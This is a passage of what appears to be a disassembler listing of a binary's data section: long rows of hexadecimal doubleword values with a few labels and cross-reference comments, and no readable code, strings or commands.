		dd 0E4A19400h, 4D54331Eh, 0D58B2DEAh, 107F2040h, 3E1F7700h
		dd 0CAEE763Ah, 69F409A7h, 847587h, 29280F41h, 4964006Dh
		dd 0FE2ED376h, 889C9ABEh, 0FEC54AC4h, 263174FDh, 60B88417h
		dd 603E0472h, 0E3DF030Ch, 4F8E50D0h, 0D5A883C7h, 0AD012819h
		dd 0DEF8C5D1h, 4EC35E90h, 88CF72C0h, 7532E7h, 0EE8060D4h
		dd 0DE854C0Bh, 94A8A061h, 3920695Fh, 5B16FC8Dh,	3B8C204Dh
		dd 0AC020C44h, 20DE6E55h, 62AC564Eh, 90C8CF8Fh,	0E580FBE0h
		dd 205E5879h, 0D03FA5C0h, 5133DFDh, 2CE6C249h, 0C0685A70h
		dd 0DA74C9Ch, 3EA49800h, 0F7FF1503h, 0C0B990DEh, 54075E28h
		dd 0E9FEA775h, 13556006h, 7A1AA68Dh, 0D3293274h, 3070F789h
		dd 4EEBF927h, 123F5F04h, 0D33481C0h, 0AB0C034Fh, 0DD4815A8h
		dd 6604D8C2h, 0C0ECF884h, 103CFB20h, 45B1F90Ch,	376186Ch
		dd 78017BFDh, 82BD57C5h, 0CC204DACh, 1CF32359h,	3826648Fh
		dd 0E9E7B50Fh, 0D4701AEBh, 0B8F50713h, 10DCD60Ch, 0F8DF1505h
		dd 670FD804h, 819E0B0Dh, 7AF594E7h, 6FD8D3ECh, 33DBC89h
		dd 56F879E8h, 0E9462501h, 5D1C8A63h, 0C61BB100h, 660E8C14h
		dd 92291FE5h, 91C1AC00h, 0C1049075h, 11CC6EF1h,	0CF42CDFh
		dd 4054E68Dh, 0F34C1DB7h, 93698077h, 23DE358Bh,	9FE0F503h
		dd 0E004CED7h, 0B5D876Bh, 0B38DE36Dh, 0DAC08440h, 0DE6C5CE8h
		dd 5F6C8ECh, 11A4839h, 0B53497C1h, 60CEC7Bh, 0F19DEFAh
		dd 0E8912728h, 4D75CC81h, 4C58389Bh, 94CB2768h,	67DD1844h
		dd 8C6A3845h, 642F7226h, 0C9D02502h, 2FA4501Bh,	0FC8BC499h
		dd 0A3C1051h, 0FCE7F624h, 95830200h, 0F5016EFFh, 0ACF0257Ah
		dd 0BA360388h, 98A7AB31h, 16373AC2h, 40C98D0Dh,	0FEF13DA0h
		dd 1F25F6FAh, 75548105h, 0EC79CAB0h, 470CF300h,	0B89F016Dh
		dd 22A288C1h, 80C61FCAh, 2A55BBA4h, 6B2800CDh, 26FB7566h
		dd 887AAA19h, 0D671930Fh, 0B013F97h, 0A1202973h, 90D98BF0h
		dd 0F534095Ah, 30E8030Fh, 8CBE36DDh, 5EFF7600h,	17EAE9E8h
		dd 0A1DBF774h, 2F46C08h, 0EFBA460Ch, 3FC68F0h, 0CD0B163Fh
		dd 2D18A2B3h, 0AB749031h, 42BB2F0Eh, 73757CB0h,	0FB706F62h
		dd 0D5A8EA13h, 0DC04E961h, 40C05141h, 0BFB6EBDh, 0EF652601h
		dd 27028808h, 0FD002CACh, 0F145BAF9h, 30C700E9h, 0ABBF98E2h
		dd 484C8D35h, 0F79AA110h, 1C39DF1h, 1E7FAD10h, 2BC10577h
		dd 19F634E4h, 16AE5D69h, 64033BF5h, 1C12C7DEh, 7A736D40h
		dd 78B3F47Bh, 5D8B07BFh, 799E33C4h, 0B5753007h,	9A9800E1h
		dd 257C8593h, 1B1D3D25h, 2AACD78h, 0E9C4DD98h, 6F877474h
		dd 85A033FBh, 307598DBh, 2E8401Eh, 94BCE5Eh, 20DD6888h
		dd 834A4528h, 0D594B4C0h, 30055E86h, 0E8DEA630h, 0E4D0525Bh
		dd 0B29D298Ah, 4A252478h, 12054160h, 6C187191h,	0DC2E754h
		dd 0BF3C5499h, 376C985Fh, 0BC28886Eh, 841D1493h, 0F0013C90h
		dd 5FA39E64h, 334DC47Ah, 2A2404E2h, 770FE5C9h, 0C607800Dh
		dd 7FD44792h, 0CBAB001Dh, 0E3BE0E25h, 650078FDh, 0A05F59AFh
		dd 4FD0AAh, 0EF25D3CEh,	534427C4h, 785940C1h, 28808D61h
		dd 75FF19FBh, 97CA747h,	188B1A30h, 0F02503C9h, 10A16787h
		dd 993346E2h, 79003575h, 9453258Eh, 38B96A1Ah, 780C077Bh
		dd 0CD30636Fh, 0D625F32Dh, 7A103058h, 2E60109Fh, 0A63BD080h
		db 8, 3
word_4E4F4E	dw 33D5h		; DATA XREF: ___:00444CDCo
		dd 53CAAC46h, 45AABC0h,	58301AF8h, 974850D1h, 25CE037Ah
		dd 4543FCE8h, 9E184867h, 3E33A1BCh, 8B145A0Bh, 3001104Fh
		dd 0E41A93A0h, 0C6489DCFh, 96D647C0h, 7B3DA3Dh,	0E77299F3h
		dd 15FB8004h, 62055489h, 0CE6A70EDh, 63D89014h,	18C15F08h
		dd 71C4FB68h, 0CF831251h, 43834847h, 312838C0h,	9E5C2103h
		dd 62C1FF9Dh, 0FBE0427Bh, 0F0035CAEh, 3D89E138h, 0D86080BDh
		dd 0E695E347h, 0F11E007Bh, 0D97F70DFh, 1A18D544h, 5CF130BBh
		dd 0C0A07564h, 0E06A8248h, 7626CA0Ch, 428EAD5h,	57446318h
		dd 9EB320h, 5916A479h, 0C6AB1910h, 28EA4A7Ch, 30002092h
		dd 2CD74847h, 3FFEE45Fh, 0A98A386Eh, 0CC01BCEh,	0AD28780Ch
		dd 38A0B00h, 19126071h,	0A8BC5070h, 24A6F418h, 284015D4h
		dd 0ACE11230h, 4E4400FBh, 5AA170E3h, 14D6E0C8h,	0A844C0C8h
		dd 627A0991h, 0C1002DDh, 54326D84h, 808840C3h, 0F34F8A14h
		dd 9B4303EDh, 2939230h,	0B03EEED0h, 0F857F73Ah,	0A8757A0Ch
		dd 48A330CAh, 633848B3h, 0B45813B0h, 47754BC6h,	32334501h
		dd 0E39243E9h, 40F3AC43h, 3464AFC8h, 1030B70Bh,	20F4C14h
		dd 0E3C05A84h, 3B64E4F1h, 42184360h, 788586Bh, 12475B80h
		dd 1D3437Fh, 69F70388h,	6840F968h, 0B980D11Ch, 7D15FC5Ah
		dd 0B8160F10h, 3D0A6930h, 0B1700F08h, 64E2F878h, 68F1FB30h
		dd 0F92C8C0h, 272B2846h, 0E72E4460h, 487BBA01h,	0F2DA6418h
		dd 2488A828h, 14C44572h, 5200DC5Ah, 2D14FC63h, 290C32B7h
		dd 60F48170h, 0B6360086h, 2B72C939h, 16B096C8h,	3B2E4200h
		dd 6DE4523h, 3C9EF801h,	9D06C256h, 68FA2764h, 8B7B802Ch
		dd 0AE4E215h, 0A4F8D81Ah, 0C78F10Eh, 57918C6h, 93BC3D8Fh
		dd 0DEA801EAh, 2480BA1Ah, 693EE080h, 0F2170156h, 1DD7302h
		dd 40080842h, 4C829428h, 54C45485h, 0A3B88121h,	75688820h
		dd 1AD104BCh, 0C85490CCh, 0B20761A0h, 27B5DACh,	0E357D600h
		dd 18D87CF3h, 0A8DB8A19h, 0A63A33CEh, 9384C9Dh,	21B3971Ah
		dd 3A7DB04h, 24A84034h,	4B444BC8h, 1F2AEE05h, 0A0704680h
		dd 0B82099B3h, 43790022h, 24FB7E89h, 1602D1AFh,	7164C1B1h
		dd 0AE28612Dh, 3006D801h, 9E017AC8h, 64FF6002h,	58A01725h
		dd 0E532008h, 0FCFE9F24h, 0A623D080h, 0FDCE49h,	95C88D71h
		dd 58EBB05Dh, 3611FB03h, 0E0DE6CD0h, 1CFDC775h,	9864E84Ah
		dd 70BF485Eh, 7633600h,	4D95F25Ah, 75370081h, 1053FFA0h
		dd 78753FD6h, 48587949h, 65D805D8h, 0C0208781h,	60FE05DEh
		dd 18AB88C2h, 80AE19Eh,	80387829h, 0C2C4CCA4h, 811A0CC0h
		dd 0CCAA25h, 0DD3A4EB4h, 3D7C26A4h, 7688E088h, 47C1A47h
		dd 0EDFD10C0h, 0A91EE7E3h, 1F61484h, 939A9570h,	281EE090h
		dd 8DBA2B03h, 82601330h, 80132Dh, 4C96C165h, 0E1E5F0D7h
		dd 0EC83EA48h, 98103BCEh, 9007FA0h, 4EC36687h, 4200822Fh
		dd 2A715461h, 0B06852h,	871F28CAh, 0F56A9BADh, 0E00002EEh
		dd 0E9660871h, 0E690109h, 0F142A4FAh, 9AAF1440h, 86003D39h
		dd 0A7730D80h, 739D7048h, 20C40182h, 4605061h, 1A26ECA9h
		dd 4FD5C8A0h, 78F5E305h, 0A40118E7h, 2BCE3CC4h,	0E0B7A89Fh
		dd 7976C800h, 0A36045E7h, 0A703125h, 0D48CFC41h, 28C01026h
		dd 0B3F25D9Eh, 14D813E5h, 434E0CABh, 0F83BA8C0h, 2890485Fh
		dd 0E5519CFAh, 0EB0940A4h, 9314F1BCh, 6A4409Dh,	0E968706Bh
		dd 90C4F820h, 0C48BE808h, 0D8AE18h, 26986EE0h, 2F81E61h
		dd 8061486h, 0C238823Fh, 2D0C0E13h, 36020FCh, 0C6C01100h
		dd 0B42288F8h, 0C69867h, 0F4B26882h, 64E0EC16h,	853E45E4h
		dd 6E581DBDh, 355EC801h, 0FC60A90Dh
		db 0FCh
byte_4E5345	db 5, 44h, 0A1h		; DATA XREF: ___:004447F8o
					; ___:00444D44o
		dd 0FA54C1h, 1BBD8190h,	0B6E4FB1Ch, 0E4CD0802h,	0C6582BE1h
		dd 7CECA9B0h, 34955C70h, 88B8FEB3h, 0A048B2F4h,	0D608078h
		dd 0C0735819h, 3A56FB10h, 0B737C5F7h, 526220E1h, 2E0C69B3h
		dd 0C1B404FEh, 92D08A4Ch, 88323EE9h, 309C420Bh,	301A8A84h
		dd 44205EC9h, 1501A19Bh, 5A34F0DAh, 6C607002h, 1C782481h
		dd 902848B0h, 78D22416h, 25DBB501h, 8820A7D6h, 0C19484Ah
		dd 5269DD0Eh, 82A13B60h, 8B007B83h, 0B0FA17F4h,	0CEFEE8h
		dd 5169DA50h, 2CD6AC59h, 28B0795Ch, 849ABCF9h, 0B4009091h
		dd 45917ED0h, 0CCF79D4h, 0EDA870C1h, 9B009CC8h,	3CDBACAEh
		dd 0C0EE421Dh, 89E34CA6h, 0FB007C02h, 9CA00EFCh, 30705E79h
		dd 0EE38550Bh, 6064CD64h, 0B240AE68h, 42FC80D0h, 0A0C674A0h
		dd 0A0B8477Ah, 25E3CD0Bh, 91C89054h, 40230348h,	4A88A337h
		dd 0A16282E0h, 0FB034F77h, 0F8C902E0h, 52C0DF44h, 29C9705h
		dd 197260F5h, 0F860F033h, 0C090D6E3h, 88ADE124h, 0A9EC7884h
		dd 702784D0h, 18A86471h, 6538D1AAh, 0C2B0446Ch,	7468FEF4h
		dd 0C424E1ABh, 5F9B3482h, 0A4EB28h, 42B3FB10h, 255C78BDh
		dd 0C60DE4A5h, 0E402E04Ch, 2F4509Eh, 85F722C3h,	5862AD14h
		dd 0CBB1F040h, 70ABF506h, 3D58DD42h, 24F86238h,	8548C77Eh
		dd 167DD8F4h, 783803EDh, 0C801F00Ah, 0E171D12Fh, 57CC9F8Ch
		dd 70CC0C1Ch, 68B1F864h, 78F3B406h, 90A0283Ah, 6BC4B058h
		dd 7C0A217Ah, 0FCAF03D4h, 2298CF17h, 132CFEEEh,	0C200B8F1h
		dd 6309F58Ch, 0D8E16164h, 0AC7CAE1Ah, 2593BCE1h, 9203F80Eh
		dd 95E6B020h, 1384A449h, 5A508A70h, 0B4C0C138h,	0A0815A58h
		dd 70AD8834h, 99556AE1h, 922C2678h, 0A5E04F03h,	34999109h
		dd 0B530511Bh, 6FE001ACh, 0A07DF822h, 6A1A8BBCh, 4F4A684h
		dd 0C27B0B60h, 50C0C510h, 0F45D9078h, 0E0905168h, 98C00CCDh
		dd 2F6A8B48h, 82013E2Dh, 78A21E1Ah, 703D6C6Ch, 0E17861C3h
		dd 0D1814864h, 0CED699Ah, 6C8470B8h, 23163201h,	11551A96h
		dd 3C781834h, 0CDD2B64h, 3CDD8000h, 41831832h, 6DE1AC09h
		dd 0F76C9989h, 301E043h, 0FF325B80h, 0D88564A0h, 0C0A0C360h
		dd 0FD501BD8h, 0C8A42C50h, 2F48D26Bh, 0D018B68Ch, 3064E7F1h
		dd 0AD3051ACh, 53000F9Ch, 623566AFh, 5CD8F8A5h,	0A451F53Ch
		dd 0CD12F427h, 0DAFCD803h, 0F78890Bh, 0A4189408h, 0C1D4114h
		dd 24BAD0DCh, 0F742420h, 0DB9D4F21h, 0D620B834h, 8134713Eh
		dd 0EA3C65E0h, 0E2FCEDD3h, 7F090CEh, 2F714692h,	0C06C54D9h
		dd 10FBA905h, 20D4354Ch, 3D8000E8h, 874E4CD9h, 0FA09258Ch
		dd 80DFB936h, 31EDF8BDh, 1270186Ah, 7284D8CBh, 0E50FDA79h
		dd 20CA38FBh, 78F6B202h, 50C162F7h, 0E4427CE8h,	0ED007050h
		dd 86281D34h, 1868329Fh, 28924C75h, 80004697h, 30E3D565h
		dd 60246477h, 278F8EDh,	0FA30631Fh, 6682107Dh, 402AF00Bh
		dd 162708F2h, 0E68804E8h, 0B06EE160h, 57010C92h, 58B49FE3h
		dd 8BF44A7Bh, 0A90004Fh, 91D0F7ADh, 732E1093h, 700F629Dh
		dd 52387A37h, 0ED781674h, 3E7044CEh, 6F01007Eh,	9BC05DDh
		dd 7C4CC34Bh, 0D798A007h, 0F4F4CF63h, 5DDA1A82h, 23B54C9h
		dd 25EB003Dh, 0F82EE1FBh, 0A2423496h, 86A8611Eh, 0AF001C22h
		dd 829A35CBh, 2D600C1Ah, 0FFF09148h, 0E2E1242Ch, 3DC0474h
		dd 9DECC0A5h, 1D091942h, 2770C978h, 0CE541E74h,	0BE1A4B0h
		dd 3B0AB939h, 0F5830500h, 0DC0021EFh, 5B101E0h,	1502F260h
		dd 0E0AE7557h, 0DB1A9904h, 2C2085EBh, 2D2478A0h, 36806013h
		dd 0AFF9CA97h, 91613070h, 0FE998528h, 0C57239h,	6B75C834h
		dd 241A3C47h, 1CCC37C3h, 49140163h, 7048EBAFh, 3807AE74h
		dd 8802E74Eh, 8043C85h,	7CC1C2AFh, 0C822257Ch, 5A64E804h
		dd 0FC821307h, 399C499Eh, 0E2F10035h, 0E400D821h, 0A3659670h
		dd 0FA1104B0h, 0D8DD7378h, 0B15C8768h, 403F8FCCh, 9E30E663h
		dd 2E933564h, 47140050h, 7188B819h, 13A44150h, 0E1DA2901h
		dd 0F8A87560h, 8B89D838h, 9825025Dh, 0E6CCE091h, 30F90FA3h
		dd 9E0A3C7Bh, 1A930208h, 0B481C3D8h, 8C5742F2h,	489CD7B0h
		dd 44030E4h, 0F96B02D1h, 25D3B60Eh, 16E38210h, 0E88C9103h
		dd 2AF868E8h, 7CD4BA52h, 9AE30ECBh, 60D9D01Ah, 0BB64C096h
		dd 0C3506860h, 62D4EC8h, 72E7F492h, 9EF0C02Bh, 710ABA00h
		dd 2878C831h, 19800FCh,	0C93522FBh, 524CC44Dh, 41191433h
		dd 7DE32ED4h, 1C1AB304h, 4414A0h, 0AD9897F4h, 0C8AA3B10h
		dd 0C4C98000h, 0D1630212h, 568780CDh, 0A6648438h, 0FD808CC2h
		dd 0CF1A4233h, 0FE48C21Bh, 0C864AFD2h, 0E6A89F18h, 961BD0C8h
		dd 8D0B8074h, 0C1CAF3D4h, 84DF1100h, 0F7C077CEh, 0F6F900A2h
		dd 5E58AD51h, 2D98CAC2h, 55F3D00h, 7419AA96h, 6790F12h
		dd 0FD4DDFFCh, 9EB0E028h, 185C6Fh, 15AB145Fh, 0D1A52C3Ah
		dd 0EAB4023Eh, 9D41FA24h, 19DDE044h, 7AD63800h,	0B049C706h
		dd 731803ECh, 54ED46AFh, 0C45001B9h, 4E189A39h,	0E188CDF5h
		dd 8A70696h, 786E5977h,	3214FA00h, 0C7CD2910h, 0F310748h
		dd 4FC3DF19h, 0D50700DDh, 18C5004h, 6FDC5B14h, 77A70108h
		dd 0D0056370h, 8ABC080h, 0F0E25641h, 0F585339h,	40A3D21Ah
		dd 0B1A552CDh, 0FB7F3CCFh, 6304430h, 460C9FC5h,	10108A19h
		dd 27990EF1h, 620339B0h, 2805D797h, 4490C7AEh, 383E8C1Eh
		dd 0A218EFBDh, 9004DC66h, 0C6E83A0h, 2E686253h,	992AAF10h
		dd 7718A852h, 8A28B378h, 0F11F2819h, 932C149Ch,	770CACCDh
		dd 0C420D317h, 0ED444200h, 9DC723C3h, 1F3CA046h, 7F0C8019h
		dd 810B4100h, 14639F6Fh, 0B118CE3Bh, 71FFAAE0h,	603077E7h
		dd 3A7F38C5h, 0DD906Fh,	0CDC5906h, 575B1809h, 747E0F06h
		dd 1428D684h, 0F8CDB294h, 5C51813Dh, 33191058h,	77B8E330h
		dd 76D4788h, 0F7BE5Ch, 7DF24699h, 1141F6h, 0BF4A6980h
		dd 7F371238h, 316FA63Ch, 0E246519Fh, 5441C049h,	0E188A5F3h
		dd 0B3002382h, 4EAB2A9Dh, 6DDF032Ch, 0AE8616F9h, 63FA70E8h
		dd 28575436h, 0F5440468h, 5FB504h, 19984DCFh, 4CA14912h
		dd 0A002FC40h, 82A65760h, 21451085h, 0B2ACACh, 0E0DF82D9h
		dd 5CFC0391h, 3DC2194Ah, 6051A803h, 0E76C63h, 322C7F28h
		dd 5392D59Dh, 47EC4402h, 814B954Eh, 86186F08h, 1941608Eh
		dd 78D88CC6h, 2EE87EFCh, 63102C74h, 0D112F97Bh,	0F2B00034h
		dd 0E2A6D524h, 731F41E2h, 0A801E09Fh, 0A522CF9Ch, 90BA08D0h
		dd 4E714078h, 733E9303h, 52CA7018h, 0F4067460h,	0E09DEF77h
		dd 0D609E110h, 62B8CF71h, 7B10286Ch, 40FB2440h,	9C887A6Eh
		dd 8281804Eh, 0EAFE8E00h, 0B668DF21h, 5745070Dh, 8DC5A01h
		dd 46831941h, 30179443h, 62D0D3A8h, 48C0C3B5h, 4480499Ch
		dd 0F7083019h, 3BDF0FA8h, 0DEB2B507h, 77F1D811h, 0B081725Ch
		dd 0DF2402CCh, 83C2206h, 1BF6049Eh, 78C8E0CFh, 10A239E6h
		dd 90FE3440h, 686FB10Ah, 9812BCF0h, 137A9C20h, 5F613FAh
		dd 6088588Ch, 0A440F777h, 2CD7878h, 637997F8h, 0E84607DCh
		dd 0C03152E2h, 0E18C30DAh, 4D5D3107h, 20AC7178h, 90C98984h
		dd 0C4281050h, 90D1F846h, 0D26F1874h, 49F01897h, 849C634Ch
		dd 0CD04C17Fh, 77B89C22h, 592F4F18h, 75F021A8h,	9048DED5h
		dd 90F03E5h, 7C38BE99h,	906BFA30h, 65D409ECh, 0DC198580h
		dd 987F086Dh, 749D7DE0h, 4B94001Ch, 0D06BC730h,	403B7D87h
		dd 4501FFC3h, 63DDA748h
		dd 18262082h, 0FC0D10h,	3AAD5486h, 7B9E421Dh, 1D87566h
		dd 0E765F977h, 0DCEF23FAh, 0C0C10B27h, 0B8042939h, 612419D4h
		dd 2ACD9820h, 4062E0A5h, 770210C1h, 4648015h, 0C9942h
		dd 82499E4Dh, 94A0C09Ah, 0A228C659h, 2F07A081h,	92E8088Fh
		dd 48536C83h, 0E226D5F1h, 0F89600E0h, 0BC23004h, 0C3E1F901h
		dd 4691C71Fh, 4017C411h, 0FCE2BED0h, 0C708D762h, 0C210844Ah
		dd 0E085C8C2h, 0F03A3886h, 77FD2427h, 1354230Eh, 41840087h
		dd 0A4625D67h, 0A7181067h, 0FD8148C4h, 2886188Ch, 0A9B456E0h
		dd 922C5098h, 9D0E7C86h, 132DE7F0h, 0C1C344h, 47E59640h
		dd 30199CF0h, 0F34023F1h, 8E1D3B9Bh, 1401C469h,	0EC6FDF45h
		dd 184994C0h, 887387B5h, 0FA00536Bh, 61EB980Dh,	0FD386FF7h
		dd 846E0824h, 0DC72192Ch, 85F47740h, 2E237831h,	204C6F29h
		dd 32EF07B8h, 62744C8Fh, 0B4A09519h, 20C3ECF9h,	4187F700h
		dd 0FA0C4B96h, 5C190011h, 4FC78AA4h, 2A0690BEh,	6FB663E8h
		dd 5AF50170h, 82DEF303h, 0C065F0E6h, 0E0A818C1h, 8C4CA473h
		dd 0A5231351h, 0B420117Bh, 4F8E6F83h, 679F280Fh, 0A51506F9h
		dd 266D00D9h, 188BD42h,	550DC75h, 0CF00A808h, 760F9D64h
		dd 183DE2h, 8198E72Ch, 74F9C385h, 0A640D260h, 0E11671ACh
		dd 40738860h, 0B30089F5h, 0DDA382E0h, 3AFBE51Ch, 0E881EA23h
		dd 0A04DC79Bh, 6236E406h, 0CE4E74Dh, 0B0632919h, 45B00155h
		dd 1A7710A0h, 705080E6h, 0FB66512Eh, 0E8E77B17h, 2A45E2CFh
		dd 6A884C63h, 28D4F87Fh, 3835E5D8h, 386DC420h, 1A02888Dh
		dd 0D0997C5Fh, 0E4CF0069h, 0F500B0A5h, 7FB33785h, 1E28C239h
		dd 0C074DFFDh, 81438FEAh, 0A703C16Eh, 1441301Bh, 0EF0BC080h
		dd 0D4710C51h, 6398AB11h, 4249E5Dh, 4DE4E0A9h, 1DCFAC8Ch
		dd 6419947Dh, 4C9931Ch,	0C415AAC4h, 260CB60h, 26C3EEF7h
		dd 206C6643h, 960C1191h, 0C122C019h, 3FFB2971h,	2C28F4h
		dd 1C219299h, 0EC0F3070h, 0CD6A3C01h, 77D83F66h, 0A51C447h
		dd 9420A5E8h, 4A8A269h,	0EC88FF08h, 2CA83277h, 5C50C170h
		dd 11498B00h, 6FB76A30h, 70AB5CEBh, 0BF10E580h,	6D3901EFh
		dd 190850DCh, 9876EC33h, 0B08BA020h, 63A60C92h,	0E1B0B360h
		dd 6E77880Ah, 8200D4EDh, 6BDC7F0Fh, 44B339C9h, 3E868180h
		dd 37DD8BE6h, 3FBC0350h, 0A3E711C0h, 1F6F340h, 5FA9969Ch
		dd 61730F9Eh, 0E82AC240h, 143A5700h, 33EF40h, 20F97853h
		dd 0C8BCD01h, 890B2479h, 0FFC381E3h, 0C83DD26h,	8F1C873Fh
		dd 0E0D5F75Ch, 3F0D18EDh, 0EA01066Dh, 2C8343E9h, 3CCFC3EEh
		dd 3D1BA195h, 38983358h, 40E90631h, 30281E68h, 0AEEC6F4Fh
		dd 0C4D53EFFh, 67B180Bh, 0EED0890Ah, 0E036019h,	34FFC229h
		dd 9858243Dh, 5C1643F7h, 52530366h, 0E280DAB2h,	5A1CE3EFh
		dd 248B1C1Ch, 31F3474h,	7233DFE4h, 3EB0B351h, 8C185229h
		dd 243C3572h, 0C7EC48A4h, 331806A5h, 40CCE92Ah,	56314E2Fh
		dd 0DBD96787h, 2804D99Eh, 31B48219h, 8308C12Eh,	876C02ECh
		dd 7AF7D624h, 4EC1BE9h,	0E0984689h, 18A0BF57h, 5F00F801h
		dd 0F3BE5653h, 25C918h,	0F4F6814Eh, 0BB2B2E30h,	0EF69E301h
		dd 4690E97Eh, 0CB803681h, 0E8C3FE83h, 14C039AEh, 3649CB9h
		dd 60DEF46Bh, 21CE9B48h, 80F7616Ah, 3D3AD554h, 0CC6832Eh
		dd 0DE04E901h, 0F3C58BE2h, 0DA417561h, 0CF015FF9h, 0C9535CE8h
		dd 240EC0DBh, 98F3050h,	0C0812CE9h, 0D0F74820h,	0BE011505h
		dd 0C2010B3Fh, 965C048Bh, 28144833h, 8A0D066Dh,	0F642DB44h
		dd 6606D366h, 0A0FD7C9Ch, 25C11884h, 4B30F66h, 0D27C2988h
		dd 0AD86A320h, 0FFDB7451h, 121D77EBh, 75CC562Ch, 0A0522CECh
		dd 1B7DC4h, 8768627Ch, 5A9D83E4h, 0FEFA0132h, 8B3849D3h
		dd 0C66178BFh, 26E78957h, 0CC67C21h, 20CD3C87h,	89482AB3h
		dd 48B92A02h, 5159CD1Eh, 81130258h, 4FA507C5h, 0F9296F96h
		dd 2A08CC08h, 0B2E91033h, 1B413B82h, 24BAE13Dh,	0C7F5897h
		dd 445F4EB6h, 6ED4EED8h, 42EB181Fh, 0D081481h, 4AE22E06h
		dd 0B0107C29h, 540C8493h, 3455D45Fh, 5D96E589h,	2C62A06Eh
		dd 45AE8Ch, 0C31125B9h,	0AA49013Dh, 2803D289h, 26EE80C6h
		dd 32517E66h, 5327FC4h,	0A48629AAh, 85BB1428h, 9457E984h
		dd 81D61FE3h, 0D359669Dh, 8CF05114h, 836402D1h,	0D102B6FCh
		dd 0CF24E434h, 4D3509EBh, 4C805342h, 2F5731C8h,	5B62E912h
		dd 3510D024h, 722C109Ah, 6318533Bh, 0E8D10C3Dh,	3C67A9FAh
		dd 0CBD35D0Eh, 0BA0C0655h, 0D01F17E6h, 63055824h, 0D51A5C6Ah
		dd 4A90085h, 64F00B1Ch,	93E75A73h, 85B1504Ah, 0C96F5991h
		dd 0E17ADBD3h, 0B5423189h, 75B8A333h, 5A163BFEh, 4089B413h
		dd 0AC0BA73h, 13FE8A8h,	0C63100D0h, 6E6C158h, 0CEE1E34Eh
		dd 887F1E9h, 8987D9F7h,	6A423B00h, 17C58C7h, 68E9590Dh
		dd 81E45249h, 6510ECAh,	0F2C01D1Ah, 21663590h, 7400C2F8h
		dd 4A2DB93Eh, 0C558E8E9h, 8D3F732h, 890F46AFh, 20EBC5F0h
		dd 74257114h, 0FE08BF91h, 90B2993h, 711EC81h, 509B2189h
		dd 44E9540Ah, 55182765h, 2585C00Ch, 0DA46CAC6h,	202B2486h
		dd 1C1961FEh, 0FC07EBC1h, 32A28A9Ah, 54529C82h,	44A89B82h
		dd 0BA683E90h, 0A2571F69h, 606A569h, 31400C52h,	403CF8ACh
		dd 0B2A3292Fh, 7C05E898h, 18C35512h, 0B05DC049h, 3768526Ch
		dd 0F85D5691h, 5321408h, 845BF930h, 89854A28h, 0D0BD02F0h
		dd 0ED404F44h, 1AD31B80h, 0F123B828h, 5AB10014h, 0C12951B8h
		dd 88FCAF1h, 0DD34A8BEh, 0D06B636h, 5FEE681Ah, 50598075h
		dd 30E9D888h, 0EB590994h, 0C0482523h, 119D1009h, 0D35B5E15h
		dd 7C0F44D3h, 9D3CC4Eh,	40F40444h, 0C60101F3h, 4E75BD55h
		dd 0EEE11D79h, 77B09347h, 0B139717Bh, 0F6E96108h, 272B3430h
		dd 630B4C07h, 0C5C3CD89h, 0BD180E50h, 42CF07C2h, 13A43E49h
		dd 37718766h, 0C7C1575Eh, 0A929A08h, 1088337Eh,	0EF337D72h
		dd 0F3080606h, 46DDDC3Bh, 0BAD4D298h, 0C801015Eh, 4248902Dh
		dd 74615933h, 0E9093632h, 243882D0h, 0ACA63A31h, 284D37A8h
		dd 0AEE8180h, 75347C7Bh, 0F021E279h, 0D129B8C4h, 6697A923h
		dd 0BF0B125Fh, 828CA908h, 91400F59h, 0CF5D513Fh, 0E6523CACh
		dd 0E64D3859h, 1C474841h, 57387E75h, 1194C48h, 74CA4A36h
		dd 0A821E7C1h, 0BB0048D9h, 14004124h, 81DBF752h, 245647E3h
		dd 10BA75A8h, 0EB881C05h, 374C189Eh, 48B4124Ch,	0FB34D265h
		dd 56357Eh, 4B28687Dh, 5D0054B3h, 6D84BB53h, 7215CD3h
		dd 0B8505BDDh, 2C24080h, 5098C529h, 38BFED06h, 380C7BD0h
		dd 0D602B4C1h, 2C8BEA89h, 0C202C7E5h, 61C50D30h, 1528F729h
		dd 35D80074h, 0CF365F0h, 3106CD2Dh, 0C70127CAh,	1DEF0162h
		dd 5E329A40h, 5D60DE83h, 5C805B45h, 298A3468h, 0B8A000C3h
		dd 17637D99h, 8001A190h, 0E93EB23Ah, 5F02160Bh,	0D4F811ECh
		dd 7DAEA2BAh, 9CF63833h, 8007B1C0h, 58282860h, 582C0ECBh
		dd 36CC3E74h, 7F328725h, 0F24FB80Ch, 1A203B0Fh,	1E8D6479h
		dd 241709Dh, 0C8C7303h,	5B41D828h, 681743A4h, 5830406Dh
		dd 0E60B753h, 0F9885150h, 0D2E9CC42h, 8790BE6Ah, 0AD8015A3h
		dd 60E79951h, 73135268h, 0BCE94B0Dh, 21623AEBh,	4BD78B16h
		dd 0B202EF74h, 0BD005E30h, 2C3E0D64h, 0B1A5013Ah, 4835DADh
		dd 88ED2382h, 0E9046412h, 5A07060Ch, 0F801CE04h, 4221B151h
		dd 29517AAEh, 67100491h
		dd 928130CDh, 24DC1528h, 88EB0141h, 0E90C0385h,	28885BB1h
		dd 49F5AD3h, 0B5515B66h, 64BAC7E4h, 0C65F0E57h,	0F8878032h
		dd 90DAB2FFh, 994EA57Eh, 5131BA33h, 9A2836E4h, 60971C6Fh
		dd 3D741DEFh, 98982B99h, 0EAC116F0h, 0E4A2EDB8h, 756CF4C2h
		dd 44A972F7h, 0F46855CEh, 51041034h, 0CBC05954h, 0D817E3Ah
		dd 0B99E910h, 0B65F2445h, 0F720D519h, 9007D9BEh, 5AF0880Dh
		dd 2E0C007h, 90214F0Ch,	90E7E8D0h, 0A3483403h, 0B2442E3Dh
		dd 81BB98A8h, 560B06B8h, 8E291287h, 8EE6B50h, 0FF200B05h
		dd 6B08B820h, 9492F85Bh, 21ACB90Ah, 8887A69Bh, 0B62E53AFh
		dd 5717B2ABh, 5A5F3922h, 0C330244Eh, 0CDC11264h, 0E90D8BC1h
		dd 96A9AD84h, 0EE281E23h, 8C039606h, 0C51D4CABh, 0AC036601h
		dd 5DEB0110h, 89875248h, 0BE00246Ah, 7D600F9Ch,	157B8B10h
		dd 0BE6227E9h, 0E7F2F720h, 2F13A8F9h, 2550E83Dh, 542C0E17h
		dd 0CC3250E2h, 77298140h, 5D4E24F9h, 84E74239h,	5F5881A0h
		dd 42121325h, 0FF063F2Dh, 48501CAh, 3B2E60EAh, 727834Ah
		dd 5594C0A4h, 1D602A19h, 0BB596E0Ch, 0C0527D31h, 0B865C7FAh
		dd 0F6FE5E6Bh, 344307A2h, 0FC68DB13h, 10A4DF87h, 952DE0B1h
